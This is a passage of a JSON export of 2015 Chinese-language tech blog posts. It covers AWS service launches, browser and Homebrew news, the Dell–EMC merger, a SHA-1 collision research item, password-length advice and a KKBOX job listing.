    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/elasticsearch-service/\">Amazon Elasticsearch Service</a>，也就是把 <a href=\"https://www.elastic.co/\">Elasticsearch</a> (現在叫做 Elastic) 包裝起來的服務：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-elasticsearch-service/\">New – Amazon Elasticsearch Service</a>」。\r\n\r\n並不是所有 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 instance 種類都支援 (像是 m4.* 系列就不支援)，不過也算夠多了，然後安裝時也包括了 <a href=\"https://www.elastic.co/products/kibana\">Kibana</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ua9A1PF.webp\" /><img src=\"https://i.gslin.com/imgur/ua9A1PF.jpg\" alt=\"\" /></picture>\r\n\r\n另外一個比較重要的整合是可以把 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 的資料倒進去，於是舊可以在 Kibana 裡面看這些數據了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/72iENU7.webp\" /><img src=\"https://i.gslin.com/imgur/72iENU7.jpg\" alt=\"\" /></picture>\r\n\r\n旁邊的 <a href=\"https://aws.amazon.com/cloudsearch/\">Amazon CloudSearch</a> 哭哭了...",
    "title": "AWS 推出 Amazon Elasticsearch Service"
  },
  {
    "id": "6022",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣佈 Blogspot (<a href=\"https://www.blogger.com/\">Blogger</a>) 將會支援 HTTPS：「<a href=\"https://googleonlinesecurity.blogspot.com/2015/09/https-support-coming-to-blogspot.html\">HTTPS support coming to Blogspot</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/30YmF4Z.webp\" /><img src=\"https://i.gslin.com/imgur/30YmF4Z.jpg\" alt=\"\" /></picture>\r\n\r\n配合 2014 年 Google 就已經公佈的「<a href=\"http://googlewebmastercentral.blogspot.com/2014/08/https-as-ranking-signal.html\">HTTPS as a ranking signal</a>」，算是整個 Google 的趨勢...",
    "title": "Google 的 Blogspot (Blogger) 將支援 HTTPS"
  },
  {
    "id": "6023",
    "body": "在「<a href=\"https://hacks.mozilla.org/2015/09/trainspotting-firefox-41/\">Trainspotting: Firefox 41</a>」這邊的介紹可以看到範例：\r\n\r\n<img src=\"https://i.gslin.com/imgur/zWYY7U4.gif\" alt=\"\" />\r\n\r\n抓下來變成這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BI24joN.webp\" /><img src=\"https://i.gslin.com/imgur/BI24joN.jpg\" alt=\"\" /></picture>\r\n\r\n這功能真不錯...",
    "title": "Firefox 41 可以抓單個 DOM 元素的擷圖了"
  },
  {
    "id": "6024",
    "body": "在新版 <a href=\"https://www.apple.com/osx/\">Mac OS X</a> El Capitan (10.11) 上因為引入了「<a href=\"https://en.wikipedia.org/wiki/System_Integrity_Protection\">System Integrity Protection</a> (SIP)」而導致 <code>/usr</code>、<code>/System</code> 以及 <code>/bin</code> 被保護無法寫入 (即使你使用 root 權限)。\r\n\r\n這會使得 <a href=\"http://brew.sh/\">Homebrew</a> 無法安裝軟體，所以在 Homebrew 的說明文件裡給對應的解決方式 (關閉 SIP 的方式)：「<a href=\"https://github.com/Homebrew/homebrew/blob/master/share/doc/homebrew/El_Capitan_and_Homebrew.md\">El Capitan &amp; Homebrew</a>」。\r\n\r\n不知道之後會不會移到其他目錄下...",
    "title": "Mac OS X El Capitan (也就是 10.11 版) 上跑 Homebrew 的問題"
  },
  {
    "id": "6025",
    "body": "這大概是這幾天最刺激的事情... <a href=\"http://www.amazon.com/\">Amazon</a> 決定在自家購物往站上停售 <a href=\"https://www.google.com/chrome/devices/chromecast/\">Google Chromecast</a> 與 <a href=\"https://www.apple.com/tv/\">Apple TV</a>：「<a href=\"http://www.bloomberg.com/news/articles/2015-10-01/amazon-will-ban-sale-of-apple-google-video-streaming-devices\">Amazon to Ban Sale of Apple, Google Video-Streaming Devices</a>」。\r\n\r\n引用新聞的報導說明，因為 Chromecast 與 Apple TV 不相容於 Amazon 自家的 Prime Video，所以下令所有的店家停售：\r\n\r\n<blockquote>The Seattle-based Web retailer sent an e-mail to its marketplace sellers that it will stop selling the Apple TV and Google’s Chromecast since those devices don’t \"interact well\" with Prime Video. No new listings for the products will be allowed and posting of existing inventory will be removed Oct. 29, Amazon said. Prime Video doesn’t run easily on its rival’s hardware.</blockquote>\r\n\r\n至於會不會引起反壟斷調查呢？站在看好戲的立場當然是很希望，但這兩個產品就算不在 Amazon 上買，也有一卡車的競爭對手有賣... 不曉得後面會怎麼發展。",
    "title": "Amazon 決定在自家的購物網站上停售 Google Chromecast 與 Apple TV"
  },
  {
    "id": "6026",
    "body": "Adblock 的公司賣掉了：「<a href=\"http://www.businessinsider.com/adblock-gets-sold-acceptable-ads-2015-10\">Adblock got sold, and nobody knows who the mystery buyer is</a>」、「<a href=\"http://thenextweb.com/apps/2015/10/02/trust-us-we-block-ads/\">Adblock extension with 40 million users sells to mystery buyer, refuses to name new owner</a>」、「<a href=\"http://www.theverge.com/2015/10/2/9441319/adblock-acquisition-unknown-buyer\">Unknown buyer scoops up popular AdBlock extension</a>」。\r\n\r\n官方不願意透漏買家是誰...\r\n\r\n<strong>Update</strong>：如同 comment 寫的，我弄錯公司了...",
    "title": "Adblock 的公司賣給不知名的公司..."
  },
  {
    "id": "6027",
    "body": "老文章但上了 <a href=\"https://news.ycombinator.com/\">Hacker News</a>：「<a href=\"http://franklinta.com/2014/11/30/image-diffing-using-css/\">Image diffing using CSS</a>」。\r\n\r\n於是本來這樣的兩張圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/W9Yn8wT.webp\" /><img src=\"https://i.gslin.com/imgur/W9Yn8wT.jpg\" alt=\"\" /><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eTUavZq.webp\" /><img src=\"https://i.gslin.com/imgur/eTUavZq.jpg\" alt=\"\" /></picture></picture>\r\n\r\n在經過 <code>-webkit-filter: invert(100%) opacity(50%);</code> 的疊合下變成：(這邊就直接抓圖了)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bGA8nYx.webp\" /><img src=\"https://i.gslin.com/imgur/bGA8nYx.jpg\" alt=\"\" /></picture>",
    "title": "用 CSS 比較兩張圖片的差異..."
  },
  {
    "id": "6029",
    "body": "前幾天有提到 <a href=\"https://www.reddit.com/\">Reddit</a> 官方放出全站的投稿以及 comment 資訊：「<a href=\"https://blog.gslin.org/archives/2015/09/30/6015/reddit-%E6%94%BE%E5%87%BA%E5%AE%8C%E6%95%B4%E7%9A%84%E5%85%A8%E7%AB%99%E6%8A%95%E7%A8%BF%E8%B3%87%E6%96%99/\">Reddit 放出完整的全站投稿資料</a>」，馬上就有人拿工具來分析了：「<a href=\"http://minimaxir.com/2015/10/reddit-bigquery/\">How to Analyze Every Reddit Submission and Comment, in Seconds, for Free</a>」。\r\n\r\n這篇的作者是用 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://cloud.google.com/bigquery/\">BigQuery</a> 分析，而 BigQuery 跟 SQL 操作方法類似，所以我猜用 <a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 或是 <a href=\"https://spark.apache.org/\">Apache Spark</a> 應該都可以做到類似的事情吧，就看對工具的熟悉度。圖片則是透過 BigQuery 產生 csv 擋，再透過 <a href=\"https://www.r-project.org/\">R</a> 與 <a href=\"http://ggplot2.org/\">ggplot2</a> 產生出來。\r\n\r\n作者給的每張圖都有提供對應的 SQL-like 查詢語法，每張圖的意義也都直接把說明寫上去了，結果還蠻有趣的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/l0HW8fD.webp\" /><img src=\"https://i.gslin.com/imgur/l0HW8fD.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/u4IPzOF.webp\" /><img src=\"https://i.gslin.com/imgur/u4IPzOF.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8aZ7tHG.webp\" /><img src=\"https://i.gslin.com/imgur/8aZ7tHG.jpg\" alt=\"\" /></picture>\r\n\r\n<img src=\"https://i.gslin.com/imgur/f3Bq0E8.gif\" alt=\"\" />",
    "title": "用 Google BigQuery 分析 Reddit 釋出的資料"
  },
  {
    "id": "6030",
    "body": "前幾天看到的服務，如同標題說的，這是一個「地址」與「座標」可以互相查詢的服務：「<a href=\"https://mapzen.com/projects/search\">Mapzen Search: The World Is Yours</a>」。\r\n\r\n不過 Demo 按下去沒反應，除了文章下方有 <a href=\"http://curl.haxx.se/\">curl</a> 的測試方法 (但要先註冊 API key 並帶入參數)，好像找不到網站可以測...\r\n\r\n<img src=\"https://i.gslin.com/imgur/V6ixHum.gif\" alt=\"\" />\r\n\r\n官方的範例看起來還 okay，不知道對非英語的支援度如何...",
    "title": "Mapzen Search：「地址換座標」以及「座標換地址」的 API 服務"
  },
  {
    "id": "6032",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 推出了 <a href=\"https://aws.amazon.com/waf/\">AWS WAF</a>，也就是 <a href=\"https://www.owasp.org/index.php/Web_Application_Firewall\">Web Application Firewall</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-aws-waf/\">New – AWS WAF</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/B6pmQuE.webp\" /><img src=\"https://i.gslin.com/imgur/B6pmQuE.jpg\" alt=\"\" /></picture>\r\n\r\n架構在 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 上的安全服務，可以想像到會依照 request 數量收費外，rule 本身也要收費，不太便宜的感覺：\r\n\r\n<blockquote>AWS WAF is available today anywhere CloudFront is available. Pricing is $5 per web ACL, $1 per rule, and $0.60 per million HTTP requests.</blockquote>\r\n\r\n這個收費標準看起來不像是會把 <a href=\"https://www.modsecurity.org/\">ModSecurity</a> 預設的 rule 丟進去養... 不過 WAF 主要是用在對軟體主體沒有修改能力時的替代方案 (沒有 source code，或是線上服務緊急需要防堵)，以這個角度來看的話好像還好？\r\n\r\n另外一點也許可以找人問問看，WAF 不是設計在 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 上，算是策略考量嗎？",
    "title": "AWS WAF (Web Application Firewall)"
  },
  {
    "id": "6033",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 愈定要推出新的購買方案：「<a href=\"https://aws.amazon.com/blogs/aws/coming-soon-ec2-dedicated-hosts/\">Coming Soon – EC2 Dedicated Hosts</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/ec2/dedicated-hosts/\">Dedicated Hosts</a> 的租用是以整台主機為單位，以確保整台實體機器不會有其他人使用，對安全性的要求會比較好。這邊拿 c3.xlarge 來舉例，一次就是八台的費用：(這邊「八台」的數字是未定的，真正的數字要等正式公告上線後才知道)\r\n\r\n<blockquote>Each host has room for a predefined number of instances of a particular type. For example, a specific host could have room for eight c3.xlarge instances (this is a number that I made up for this post).  After you allocate the host, you can then launch up to eight c3.xlarge instances on it.</blockquote>\r\n\r\n會有這樣的需求主要還是因為有些軟體還沒有適當的 cloud-based licensing (授權方式)，當 BYOL 時 (Bring Your Own License)，會需要能夠對實體機器有更多控制權：\r\n\r\n<blockquote>We want to make sure that you can continue to derive value from these licenses after you migrate to AWS. In general, we call this model Bring Your Own License, or BYOL. In order to do this while adhering to the terms of the license, you are going to need to control the mapping of the EC2 instances to the underlying, physical servers.</blockquote>\r\n\r\n另外這對於安全性理由也多了個解決方案，像是需要實體分離避開各種 <a href=\"https://en.wikipedia.org/wiki/Side-channel_attack\">side-channel attack</a>。不過 <a href=\"https://aws.amazon.com/\">AWS</a> 之前就有提供其他的方法。\r\n\r\n對於軟體有支援 <a href=\"https://aws.amazon.com/cloudhsm/\">CloudHSM</a> 的，可以考慮直接使用這個解決方案，private key 直接放在 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">HSM</a> 上，而且 AWS 有符合常見的安全標準。\r\n\r\n而另外對於有跟美國政府簽約的數據需求，可以用 <a href=\"https://aws.amazon.com/govcloud-us/\">AWS GovCloud (US)</a>，讓一般人根本接觸不到。\r\n\r\n對於一般單位的需求，也可以用 <a href=\"https://aws.amazon.com/ec2/purchasing-options/dedicated-instances/\">Dedicated Instances</a> 來確保實體機器上只有單一客戶，而這也能買 Reserved Instances 確保使用權，以及對應的折扣。\r\n\r\n所以這次 Dedicated Hosts 比較像是商業授權上的需求而產生出來的解決方案，而不是安全性需求...",
    "title": "Amazon EC2 預定要推出的 Dedicated Hosts"
  },
  {
    "id": "6034",
    "body": "這次 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2015 宣佈的新服務，<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 支援 <a href=\"https://mariadb.org/\">MariaDB</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-rds-update-mariadb-is-now-available/\">Amazon RDS Update – MariaDB is Now Available</a>」。\r\n\r\n這表示可以使用 <a href=\"https://mariadb.com/kb/en/mariadb/aria-storage-engine/\">Aria Storage Engine</a>。不過目前支援的 instance 有限：\r\n\r\n<blockquote>You can launch RDS database instances running MariaDB today in all AWS regions. Supported database instance types include M3 (standard), R3 (memory optimized), and T2 (standard).</blockquote>",
    "title": "Amazon RDS 支援 MariaDB"
  },
  {
    "id": "6035",
    "body": "<a href=\"https://aws.amazon.com/importexport/\">AWS Import/Export</a> 服務推出硬體：「<a href=\"https://aws.amazon.com/blogs/aws/aws-importexport-snowball-transfer-1-petabyte-per-week-using-amazon-owned-storage-appliances/\">AWS Import/Export Snowball – Transfer 1 Petabyte Per Week Using Amazon-Owned Storage Appliances</a>」。\r\n\r\n原先 AWS Import/Export 需要自己買硬碟寄到 <a href=\"https://aws.amazon.com/\">AWS</a> 指定的地方，對於一次性的用途來說不太合理 (硬碟只用一次？)，而現在 AWS Import/Export 推出整台 appliance 來解決這個問題，長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/pA6j6gV.webp\" /><img src=\"https://i.gslin.com/imgur/pA6j6gV.jpg\" alt=\"\" /></picture>\r\n\r\n本身就是可郵寄的包裝，包括了 E-ink 電子墨水面板 (很明顯是從 <a href=\"https://kindle.amazon.com/\">Kindle</a> 那邊弄來的技術)，所以連寄回的地址都不用填寫。而本身就有防水防震設計保護寄送過程稍微摔到或是淋到水也不會有事情，另外透過 AES 256bits 安全加密確保資料不會被盜用，<a href=\"http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-88r1.pdf\">NIST Special Publication 800-88</a> 確認加密的資料沒有被盜取。\r\n\r\n整個規劃看起來很有種軍規的設計感...\r\n\r\n而每個 appliance 可以傳輸 50TB 的資料：\r\n\r\n<blockquote>From there you simply copy up to 50 terabytes of data to the Snowball and disconnect it (a shipping label will automatically appear on the E Ink display), and ship it back to us for ingestion.</blockquote>\r\n\r\n目前支援美東 (us-east-1) 與美西二區 (us-west-2)：\r\n\r\n<blockquote>You can import data to the US Standard and US West (Oregon) regions, with more on the way.</blockquote>\r\n\r\n怎麼說呢，很科幻感的東西？",
    "title": "AWS 推出備份用的硬體設備：Snowball"
  },
  {
    "id": "6036",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 設計 <a href=\"https://aws.amazon.com/ec2/spot/\">Spot Instances</a> 提供某些應用程式可以用比較低廉的價錢租用機器，但缺點是隨時可能會中斷，所以程式必須定時記錄進度。\r\n\r\n但不是每種應用程式都有辦法這樣做，所以一般遇到不能中斷的還是會用 On-Demand Instances 來處理。而現在 EC2 則提供了 Spot Blocks 來解決這個問題：「<a href=\"https://aws.amazon.com/blogs/aws/new-ec2-spot-blocks-for-defined-duration-workloads/\">New – EC2 Spot Blocks for Defined-Duration Workloads</a>」。\r\n\r\n你可以設定 1 到 6 個小時的執行時間，時間到就會自動結束：\r\n\r\n<blockquote>In order to make EC2 an even better fit for this type of defined-duration workload, you can now launch Spot instances that will run continuously for a finite duration (1 to 6 hours).</blockquote>\r\n\r\nSpot Instances 與 Spot Blocks 是分開競價，大約比 On-Demand 便宜 30%～45%，同時在非尖峰時間另外會有 5% 的優惠：\r\n\r\n<blockquote>Pricing is based on the requested duration and the available capacity, and is typically 30% to 45% less than On-Demand, with an additional 5% off during non-peak hours for the region. Spot blocks and Spot instances are priced separately; you can view the current Spot pricing to learn more.</blockquote>",
    "title": "EC2 Spot Blocks：固定時間的 Spot Instances"
  },
  {
    "id": "6038",
    "body": "發現 <a href=\"https://wordpress.org/\">WordPress</a> 內建就有置頂功能 (Sticky)，剛好開一篇來放目前我要找的職缺，先放幾個職缺，接下來會持續更新。試看看效果如何吧？\r\n\r\n有興趣的可以把 resume 寄到 <code>gslin at kkbox.com</code>，或是純粹想問問題的也可以寄過來問。\r\n\r\n最新更新時間：2015/10/09。\r\n\r\n<!--more--><hr>\r\n\r\n<h2>系統分析師</h2>\r\n\r\nKKBOX Server 團隊有三個需要這樣的角色，負責各類 API 的、負責網站 (這包括 WebView 的後端)、負責金流系統的團隊。主要的工作內容是與產品團隊的討論與溝通。\r\n\r\n需要的技術背景：\r\n\r\n<ul>\r\n\t<li>資料庫相關的理論。</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h2>資料庫維運工程師</h2>\r\n\r\nKKBOX 目前使用的資料庫主要是 <a href=\"https://dev.mysql.com/\">MySQL</a> 為主 (<a href=\"https://www.percona.com/\">Percona</a> 版本)，另外還包括了 <a href=\"http://redis.io/\">Redis</a> Cluster。\r\n\r\n在 <a href=\"https://aws.amazon.com/\">AWS</a> 上使用 <a href=\"https://aws.amazon.com/rds/\">RDS</a>，有 MySQL 以及 <a href=\"https://www.postgresql.org/\">PostgreSQL</a>。\r\n\r\n主要的工作內容包括了資料庫的監控機制 (負荷監控)、效能調校以及備份策略。另外也提供團隊成員諮詢 schema 的設計。\r\n\r\n需要的技術背景：\r\n\r\n<ul>\r\n\t<li>資料庫相關的理論以及實務經驗。</li>\r\n\t<li>軟體開發經驗。</li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h2>PHP 工程師</h2>\r\n\r\n一樣是上面提到的三個團隊都有缺，目前 KKBOX 內的系統包括了 legacy code 與 MVC-based code (<a href=\"http://laravel.com/\">Laravel</a> 4.2，正在 migrate 到 5.1)。\r\n\r\n需要的技術背景：\r\n\r\n<ul>\r\n\t<li>Server-side MVC 經驗。</li>\r\n</ul>",
    "title": "KKBOX 徵才文"
  },
  {
    "id": "6039",
    "body": "都還沒上線，先公告而已：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-update-x1-sap-hana-t2-nano-websites/\">EC2 Instance Update – X1 (SAP HANA) &amp; T2.Nano (Websites)</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 將會推出了超大的 X1 系列，<a href=\"https://en.wikipedia.org/wiki/Xeon\">Intel Xeon</a> E7 系列與 2TB RAM (比很多人硬碟大小還大 XDDD)，拿來跑各種暴力應用的：\r\n\r\n<blockquote>The X1 instances will be powered by up to four Intel® Xeon® E7 processors. The processors have high memory bandwidth and large L3 caches, both designed to support high-performance, memory-bound applications. With over 100 vCPUs, these instances will be able to handle highly concurrent workloads with ease.</blockquote>\r\n\r\nX1 系列預定 2016 年上半年會開放使用：\r\n\r\n<blockquote>We expect to have the X1 available in the first half of 2016. I’ll share pricing and other details at launch time.</blockquote>\r\n\r\n另外是 T2.Nano，只有 512MB RAM，預定是今年會開放使用：\r\n\r\n<blockquote>Later this year we will introduce the t2.nano instance.  You’ll get 1 vCPU and 512 MB of memory, and the ability run at full core performance for over an hour on a full credit balance. Each newly launched t2.nano starts out with sufficient CPU Credits to allow you to get started as quickly as possible.</blockquote>",
    "title": "EC2 推出超大的 X1 系列與超小的 T2.Nano"
  },
  {
    "id": "6040",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 丟出了一卡車超級基本的功能 (所以超級實用)：「<a href=\"https://aws.amazon.com/blogs/aws/aws-lambda-update-python-vpc-increased-function-duration-scheduling-and-more/\">AWS Lambda Update – Python, VPC, Increased Function Duration, Scheduling, and More</a>」。\r\n\r\n首先是 AWS Lambda 可以跑在 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 裡了，這使得 Lambda 可以呼叫內部的 HTTP API 而不需要對 internet 打洞再用其他方式保護。\r\n\r\n再來是 AWS Lambda 支援 <a href=\"https://www.python.org/download/releases/2.7/\">Python 2.7</a> 了，什麼？你問為什麼不是支援 Python 3？(頭轉過去)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Pyb66ry.webp\" /><img src=\"https://i.gslin.com/imgur/Pyb66ry.jpg\" alt=\"\" /></picture>\r\n\r\n然後可以跑 Cron 了！可以跑 Cron 了！可以跑 Cron 了！(很重要所以要說三次)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5pVVEIB.webp\" /><img src=\"https://i.gslin.com/imgur/5pVVEIB.jpg\" alt=\"\" /></picture>",
    "title": "AWS Lambda 大躍進"
  },
  {
    "id": "6042",
    "body": "在 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這邊看到對 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的攻擊又有新的進展了：「<a href=\"https://www.schneier.com/blog/archives/2015/10/sha-1_freestart.html\">SHA-1 Freestart Collision</a>」。\r\n\r\n這次的論文不是真的找出 collision，而是對 internal compression function 攻擊，不過即使如此，這是首次攻擊完整的 80 rounds：\r\n\r\n<blockquote>We present in this article a freestart collision example for SHA-1, i.e., a collision for its internal compression function. This is the first practical break of the full SHA-1, reaching all 80 out of 80 steps, while only 10 days of computation on a 64 GPU cluster were necessary to perform the attack.</blockquote>\r\n\r\n論文資訊可以在「<a href=\"https://sites.google.com/site/itstheshappening/\">The SHAppening: freestart collisions for SHA-1</a>」這邊看到。",
    "title": "對 SHA-1 的攻擊進展"
  },
  {
    "id": "6043",
    "body": "目前流傳著 <a href=\"http://www.dell.com/\">Dell</a> 想買 <a href=\"https://www.emc.com/\">EMC</a> 的消息：「<a href=\"http://asia.pcmag.com/news/6637/dell-in-talks-to-acquire-emc\">Dell In Talks to Acquire EMC</a>」、「<a href=\"http://www.wsj.com/articles/dell-is-in-talks-to-strike-merger-deal-with-emc-sources-say-1444259189\">Dell Is in Talks With EMC Over Possible Merger</a>」、「<a href=\"http://www.reuters.com/article/2015/10/08/us-emc-us-m-a-dell-idUSKCN0S200F20151008\">Dell in talks to buy data storage company EMC: source</a>」。\r\n\r\n而 EMC 下面有 <a href=\"https://www.vmware.com/\">VMware</a> 這個超紅的子公司啊...",
    "title": "傳言 Dell 要買 EMC..."
  },
  {
    "id": "6044",
    "body": "算是 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2015 上比較小的消息。<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 在東京啟用：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/10/amazon-api-gateway-now-available-in-the-asia-pacific-tokyo-aws-region/\">Amazon API Gateway now available in the Asia Pacific (Tokyo) AWS Region</a>」。\r\n\r\n由於 API Gateway 可以接 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a>，而這次 re:Invent 又發表了許多對 Lambda 的新功能 (參考先前的「<a href=\"https://blog.gslin.org/archives/2015/10/09/6040/aws-lambda-%E5%A4%A7%E8%BA%8D%E9%80%B2/\">AWS Lambda 大躍進</a>」)，這使得 API Gateway 的用途多出不少...\r\n\r\n由於可以存取 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內部資源，這表示 Lambda 可以去 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 或是 <a href=\"http://memcached.org/\">memcached</a> 上抓資料，或是存取內部的 <a href=\"https://www.elastic.co/\">Elastic</a> (Elasticsearch)...\r\n\r\n多開了東京的點代表很多現有的服務也可以改接 Lambda + API Gateway...",
    "title": "Amazon API Gateway 在東京也可以用了..."
  },
  {
    "id": "6045",
    "body": "<a href=\"https://creativecommons.org/\">Creative Commons</a> 在經過幾個月的分析後，認為 <a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">CC BY-SA 4.0</a> 相容於 <a href=\"https://www.gnu.org/licenses/gpl-3.0.en.html\">GPLv3</a> 的要求：「<a href=\"https://creativecommons.org/weblog/entry/46186\">CC BY-SA 4.0 now one-way compatible with GPLv3</a>」。\r\n\r\n<blockquote>In January we <a href=\"http://lists.ibiblio.org/pipermail/cc-licenses/2015-January/007635.html\">officially opened a public consultation</a> (<a href=\"https://creativecommons.org/weblog/entry/44832\">blog post</a>) on CC BY-SA 4.0 unilateral compatibility with GPLv3, in accordance with our <a href=\"https://wiki.creativecommons.org/wiki/ShareAlike_compatibility_process_and_criteria\">ShareAlike compatibility process and criteria</a>. Following additional months of <a href=\"https://wiki.creativecommons.org/wiki/ShareAlike_compatibility_analysis:_GPL\">detailed analysis</a>, discussion and deliberation with the Free Software Foundation and other stakeholders, we are very pleased to announce that we have added a declaration of one-way compatibility from CC BY-SA 4.0 to GPLv3 to our <a href=\"https://creativecommons.org/compatiblelicenses\">compatible licenses</a> page!</blockquote>\r\n\r\n也就是說，CC BY-SA 4.0 的素材可以放到 GPLv3 的作品裡使用並且散佈。不過要注意的是，這是 CC 的分析，而不是法院判決的結果...",
    "title": "CC BY-SA 4.0 的素材可用於 GPLv3 的作品裡"
  },
  {
    "id": "6046",
    "body": "CloudWatch Dashboards 也是這次 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2015 發表的新功能：「<a href=\"https://aws.amazon.com/blogs/aws/cloudwatch-dashboards-create-use-customized-metrics-views/\">CloudWatch Dashboards – Create & Use Customized Metrics Views</a>」。\r\n\r\n可以自己建立 Dashboard，我記得有不少服務就是做這件事情的，看起來又苦了...\r\n\r\n然後是支援 <a href=\"https://help.github.com/articles/github-flavored-markdown/\">GitHub Flavored Markdown</a> 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dfux0A6.webp\" /><img src=\"https://i.gslin.com/imgur/dfux0A6.jpg\" alt=\"\" /></picture>\r\n\r\n拼起來會長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8KXnETR.webp\" /><img src=\"https://i.gslin.com/imgur/8KXnETR.jpg\" alt=\"\" /></picture>",
    "title": "CloudWatch Dashboards 自訂 Dashboard 內容"
  },
  {
    "id": "6047",
    "body": "在「<a href=\"https://hacks.mozilla.org/2015/10/porting-chrome-extensions-to-firefox-with-webextensions/\">Porting Chrome Extensions to Firefox with WebExtensions</a>」這邊提到了 <a href=\"https://developer.mozilla.org/Add-ons/WebExtensions\">WebExtensions</a> 計畫：\r\n\r\n<blockquote>The technology is designed for cross-browser compatibility: to a large extent the API is compatible with the extension API supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox with just a few changes. The API is also fully compatible with multiprocess Firefox.</blockquote>\r\n\r\n提供另外一種方式開發，吸引 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 現有的 extension 開發者，也就是利用現有的 ecosystem 來幫助自己，把本來需要整個重寫的工作降低...",
    "title": "把 Google Chrome 的套件移植到 Firefox 上"
  },
  {
    "id": "6048",
    "body": "在「<a href=\"http://malwarejake.blogspot.com/2015/10/why-is-length-complexity-because-math.html\">Why is length &gt; complexity? Because math...</a>」這篇以組合數的角度提出了密碼的長度比起其他的各種限制來的有效。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6zpqfKD.webp\" /><img src=\"https://i.gslin.com/imgur/6zpqfKD.jpg\" alt=\"\" /></picture>\r\n<small>(出自「<a href=\"https://xkcd.com/936/\">xkcd: Password Strength</a>」)</small>\r\n\r\n這是在考慮到 threat model 與使用者習慣的平衡性，要求使用者要有大小寫數字特殊字元，不如簡單要求長度就好，對於密碼資料庫外洩時對抗暴力法比起要求複雜度來得有抵抗性，而且使用者反而不用記一堆特殊字元。\r\n\r\n不過如果能用 <a href=\"http://keepass.info/\">KeePass</a> 或是 <a href=\"https://www.keepassx.org/\">KeePassX</a> 這類密碼管理工具的話會更好，都是直接開到可以接受的最大上限，而且每個站都不一樣的密碼會更有防禦力，而針對密碼資料庫的 password 就可以硬背超長字串... (因為只要記一個)",
    "title": "增加密碼的長度比其他各種限制有效"
  },
  {
    "id": "6050",
    "body": "前幾天提到的「<a href=\"https://blog.gslin.org/archives/2015/10/09/6043/%E5%82%B3%E8%A8%80-dell-%E8%A6%81%E8%B2%B7-emc/\">傳言 Dell 要買 EMC...</a>」發生了，歷史上最大的科技產業併購案，<a href=\"http://www.dell.com/\">Dell</a> 買下 <a href=\"https://www.emc.com/\">EMC</a>：「<a href=\"http://www.businessinsider.com/dell-acquires-emc-vmware-2015-10\">IT'S OFFICIAL: Dell just bought EMC in the biggest tech merger ever</a>」。\r\n\r\n估算約 670 億美金的併購案：\r\n\r\n<blockquote>Assuming, for illustrative purposes, a valuation for each share of tracking stock of $81.78, the intraday volume-weighted average price for VMware on Wednesday, October 7, 2015, EMC shareholders would receive a total combined consideration of $33.15 per EMC share and the total transaction would be valued at approximately $67 billion.</blockquote>",
    "title": "Dell 買下 EMC"
  },
  {
    "id": "6051",
